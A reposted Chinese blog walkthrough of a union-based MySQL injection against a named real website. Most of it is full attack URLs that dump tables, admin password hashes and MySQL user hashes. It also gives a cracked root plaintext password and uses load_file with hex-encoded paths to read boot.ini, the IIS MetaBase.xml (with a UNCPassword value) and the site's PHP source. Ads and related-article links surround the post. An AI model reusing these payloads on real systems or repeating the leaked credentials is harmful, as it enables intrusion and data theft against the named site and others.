php_mysql注入load_file()IIS配置文件获取

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介:

 

先看一个注入点:

http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

得到回显:flier_dbase\root@localhost\5.0.22-community-nt

 

 

 

 

如果说注入点算是第一个漏洞,那么这个root就是管理员制造的第二个网站漏洞了


表段:http://www.fly-er.com.cn/news_detail.php?newsid=1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x666C6965725F6462617365

得到数据:pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review


pub_webmaster的字段:http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572


得到数据:webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs


这下出来管理员数据:
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster
得到:admin_9b45d683e499e7bd
yfh_7a57a5a743894a0e//这里是第三个漏洞了,弱口令admin



既然找不到后台地址,那么干脆爆MySql管理员的口令
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user


得到数据:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
数据库就一个账户,如果解不开,岂不是要放弃?那倒不比,第一,咱解开了,对于八位字母数字加符号的密码,学校的分布式密码破解系统毫不吃力的说。不过这个密码是八位字母加符号,也算不的弱口令,暂且不算是漏洞吧。


*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD对应的明文是qweasd)@
第二,咱还有别的路子,随便访问一个路径,反馈的是IIS6404默认页,说明网站服务器是:Windows+IIS6+php+MySql的环境


先把c:\\boot.ini这串路径进行hex编码得到:0x633A5C5C626F6F742E696E69
然后、http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回显:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut

 

 

 

虽然能load_file加载文件,但是似乎用处不大。非也非也,既然是IIS6,那么加载c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。
*注:Windows进行文件操作,路径一定要是双斜杠,如果是单斜杠,八成会load_file失败,探讨其原因,可能是因为,斜杠是这样的\左上右下,而Linux则是/右上左下。如果在Windows的路径斜杠后面跟个t也就是\t,看看在编程里面是什么?如果\n呢?\'呢?没错,路径的斜杠就没了。如果是双斜杠,\\那才是真的单斜杠。如果你需要输出双斜杠,那么你要用四个斜杠来表示,郁闷不?\\\\

最后注入句就是:http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回显如下:

 

主要看这几句配置:

<IIsWebServer        Location ="/LM/W3SVC/2125961364"

                AuthFlags="0"

                LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus"

                LogFileDirectory="E:\flylog"

                LogFileLocaltimeRollover="FALSE"

                LogFilePeriod="1"

                LogFileTruncateSize="20971520"

                LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}"

                ServerAutoStart="TRUE"

                ServerBindings=":80:fly-er.com.cn

                        :80:www.fly-er.com.cn"

                ServerComment="fly-er.com.cn"

        >

</IIsWebServer>

复制代码


还有:

<IIsWebVirtualDir        Location ="/LM/W3SVC/2125961364/root"

                AccessFlags="AccessRead | AccessWrite | AccessScript"

                AppFriendlyName="默认应用程序"

                AppIsolated="2"

                AppRoot="/LM/W3SVC/2125961364/Root"

                AuthFlags="AuthAnonymous | AuthNTLM"

                DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm"

                DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"

                Path="F:\web\2010716\new_flyer"

                UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380"

        >

</IIsWebVirtualDir>

复制代码



这下子我们构造:

http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右键查看源代码就可以了


*注:load_file用的时候,最好在外面加一个hex即:hex(load_file(xxxxxxx))
因为我遇到过一个网站,主页不知道是哪里的代码有问题,注入点在主页。我用主页load_file主页文件,外面没嵌套hex的话,主页就被循环显示了,就是类似这样:index里面有一个iframeiframe加载的是index这个文件,index这个文件里面的iframe又加载index这个文件,循环往复下去,直到把机器资源耗尽。虽然不知道当时那个网站是不是这个iframe,但是这样的嵌套确实有死循环发生,所以建议hex嵌套load_file


我比较在意的是index里面这样的一个地方的代码:

require('admin_flier/common/function.php');

require('admin_flier/lib/class/form.class.php');

require('admin_flier/lib/class/db.class.php');

require('admin_flier/lib/class/page.class.php');

include('inc/head.php');

复制代码


呵呵,这里不就是后台地址么?


 

显然,后台的安全性也不够。就算是隐藏了后台地址,工具扫不到,那也不意味着可以放松后台的安全性吧?

 



     本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1280209,如需转载请自行联系原作者






相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
3月前
|
SQL 关系型数据库 MySQL
MySQL 5.6/5.7 DDL 失败残留文件清理指南
通过本文的指南,您可以更安全地处理 MySQL 5.6 和 5.7 版本中 DDL 失败后的残留文件,有效避免数据丢失和数据库不一致的问题。
|
6月前
|
SQL 安全 关系型数据库
mysql注入-字符编码技巧
通过字符编码技巧,攻击者可以在SQL注入中绕过常见的输入验证机制,成功攻击数据库。因此,理解这些技巧及其可能的攻击路径,对防御SQL注入至关重要。开发者应采取多层次的安全措施,确保应用程序在不同字符集和编码环境下都能有效防御注入攻击。通过强制使用统一编码、严格的输入验证、预编译语句以及多层次的编码检查,可以有效地提高系统的安全性,防止SQL注入攻击带来的风险。
210 72
|
12月前
|
PHP
php常见问题,php.ini文件不存在或者找不到,mb_strlen()函数未定义系列问题,dll模块找不到的解决
本文介绍了解决PHP常见问题的步骤,包括定位和创建`php.ini`文件,以及解决`mb_strlen()`函数未定义和DLL模块加载错误的具体方法。
php常见问题,php.ini文件不存在或者找不到,mb_strlen()函数未定义系列问题,dll模块找不到的解决
|
5月前
|
安全 关系型数据库 MySQL
MySQL8使用物理文件恢复MyISAM表测试
MySQL8使用物理文件恢复MyISAM表测试
82 0
|
7月前
|
SQL 监控 关系型数据库
MySQL补充性文件
通过以上内容,您可以全面了解和掌握 MySQL 补充性文件的配置、查看及其作用,从而提升数据库管理的效率和质量。
128 36
|
10月前
|
存储 Oracle 关系型数据库
【赵渝强老师】MySQL InnoDB的数据文件与重做日志文件
本文介绍了MySQL InnoDB存储引擎中的数据文件和重做日志文件。数据文件包括`.ibd`和`ibdata`文件,用于存放InnoDB数据和索引。重做日志文件(redo log)确保数据的可靠性和事务的持久性,其大小和路径可由相关参数配置。文章还提供了视频讲解和示例代码。
330 11
【赵渝强老师】MySQL InnoDB的数据文件与重做日志文件
|
9月前
|
关系型数据库 MySQL 数据库
数据库数据恢复—MYSQL数据库文件损坏的数据恢复案例
mysql数据库文件ibdata1、MYI、MYD损坏。 故障表现:1、数据库无法进行查询等操作;2、使用mysqlcheck和myisamchk无法修复数据库。
|
9月前
|
安全 关系型数据库 MySQL
解决MySQL删除/var/lib/mysql下的所有文件后无法启动的问题
删除 `/var/lib/mysql` 下的所有文件后,需要重新初始化数据目录,确保正确的权限设置,并重新启动 MySQL 服务。通过按照上述步骤操作,可以解决 MySQL 无法启动的问题,并恢复数据库的正常运行。初始化数据目录后,别忘了配置安全设置,并根据需要恢复备份数据。这些步骤不仅能够恢复 MySQL 的正常运行,还能确保数据库的安全性和完整性。
625 2
|
9月前
|
SQL 关系型数据库 MySQL
MySQL导入.sql文件后数据库乱码问题
本文分析了导入.sql文件后数据库备注出现乱码的原因,包括字符集不匹配、备注内容编码问题及MySQL版本或配置问题,并提供了详细的解决步骤,如检查和统一字符集设置、修改客户端连接方式、检查MySQL配置等,确保导入过程顺利。
|
10月前
|
关系型数据库 MySQL 数据库
【赵渝强老师】MySQL的参数文件
MySQL启动时会读取配置文件my.cnf来确定数据库文件位置及初始化参数。该文件分为Server和Client两部分,包含动态与静态参数。动态参数可在运行中通过命令修改,而静态参数需修改my.cnf并重启服务生效。文中还提供了相关代码示例和视频教程。
251 6

推荐镜像

更多